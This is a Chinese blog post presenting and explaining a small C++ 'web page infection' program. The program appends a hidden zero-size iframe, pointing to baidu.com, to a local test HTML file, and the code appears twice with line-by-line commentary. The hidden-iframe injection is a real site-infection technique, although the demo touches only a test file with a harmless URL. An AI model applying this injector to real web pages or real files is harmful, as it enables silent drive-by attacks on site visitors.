C++网页感染程序实例

This program injects a piece of code into a file located at “c:\test.htm”. The injected code is an HTML iframe that loads the website “http://www.baidu.com/”. The program uses the Windows API to manipulate the file and control console output. It also includes a function to set the text color in the console window. The main function calls the inject function and outputs a debug message indicating if the injection was successful.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
bool inject(char *filepath)
{
	char url[]="\r\n<iframe src=http://www.baidu.com/ width=0 height=0></iframe>";
	FILE *fp;
	fp=fopen(filepath,"rb+");
	if(fp==NULL)
	{
		return false;
	}
	fseek(fp,0,SEEK_END);
	fwrite(url,sizeof(char),strlen(url),fp);
	fclose(fp);
	return true;
}
void setColor(unsigned short ForeColor=3,unsigned short BackGroundColor=0) 
//给参数默认值
{ 
	HANDLE hCon = GetStdHandle(STD_OUTPUT_HANDLE); //
	SetConsoleTextAttribute(hCon,ForeColor|BackGroundColor); 	
}
void OutPutDebugInfo(char *s,int level=0)
{
	switch (level)
	{
	case 0:
		setColor(7,0);//白色
		printf("%s",s);
		break;
	case 1:
		setColor(FOREGROUND_GREEN,0);;//绿色
		printf("%s",s);
		break;
	case 2:
		setColor(6,0);//黄色
		printf("%s",s);
		break;
	case 3:
		setColor(FOREGROUND_RED,0);//红色
		printf("%s",s);
		break;
	default:
		setColor(7,0);//白色
		printf("%s",s);
		break;
 
	}
}
int main(int argc, char* argv[]) 
{ 	
	if(!inject("c:\\test.htm")) 		
	{ 		
		OutPutDebugInfo("Inject Error\n",3); 
		
	}else 		
	{ 		
		OutPutDebugInfo("Inject success\n"); 		
	} 	
	//OutPutDebugInfo("Inject success\n");
	getchar();
	return 0; 
	
} 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

上面是引入需要的头文件,包括标准输入输出、字符串处理、内存管理和Windows API等。

bool inject(char *filepath)
{
	char url[]="\r\n<iframe src=http://www.baidu.com/ width=0 height=0></iframe>";
	FILE *fp;
	fp=fopen(filepath,"rb+");
	if(fp==NULL)
	{
		return false;
	}
	fseek(fp,0,SEEK_END);
	fwrite(url,sizeof(char),strlen(url),fp);
	fclose(fp);
	return true;
}

这是一个用于注入代码的函数。它接受一个文件路径作为参数,将指定的代码注入到文件中。函数内部打开文件并将文件指针定位到文件末尾,然后使用fwrite函数将代码写入文件。最后关闭文件并返回注入是否成功的布尔值。

void setColor(unsigned short ForeColor=3,unsigned short BackGroundColor=0) 
//给参数默认值
{ 
	HANDLE hCon = GetStdHandle(STD_OUTPUT_HANDLE); //
	SetConsoleTextAttribute(hCon,ForeColor|BackGroundColor); 	
}

这是一个设置控制台输出文本颜色的函数。它接受两个参数,前景色和背景色,默认值分别为3和0。函数内部使用Windows API来设置控制台文本属性。

void OutPutDebugInfo(char *s,int level=0)
{
	switch (level)
	{
	case 0:
		setColor(7,0);//白色
		printf("%s",s);
		break;
	case 1:
		setColor(FOREGROUND_GREEN,0);;//绿色
		printf("%s",s);
		break;
	case 2:
		setColor(6,0);//黄色
		printf("%s",s);
		break;
	case 3:
		setColor(FOREGROUND_RED,0);//红色
		printf("%s",s);
		break;
	default:
		setColor(7,0);//白色
		printf("%s",s);
		break;
	}
}

这是一个输出调试信息的函数。它接受一个字符串和一个级别参数,默认值为0。根据级别的不同,函数会调用setColor函数设置不同的文本颜色,然后使用printf函数输出字符串。

int main(int argc, char* argv[]) 
{ 	
	if(!inject("c:\\test.htm")) 		
	{ 		
		OutPutDebugInfo("Inject Error\n",3); 		
	}else 		
	{ 		
		OutPutDebugInfo("Inject success\n"); 		
	} 	
	getchar();
	return 0; 	
} 

这是程序的主函数。它调用inject函数将代码注入到指定的文件中,然后根据注入结果调用OutPutDebugInfo函数输出调试信息。最后使用getchar函数等待用户输入并返回0表示程序正常结束。

  • 5
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一只贴代码君

帅帅的你,留下你的支持吧

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值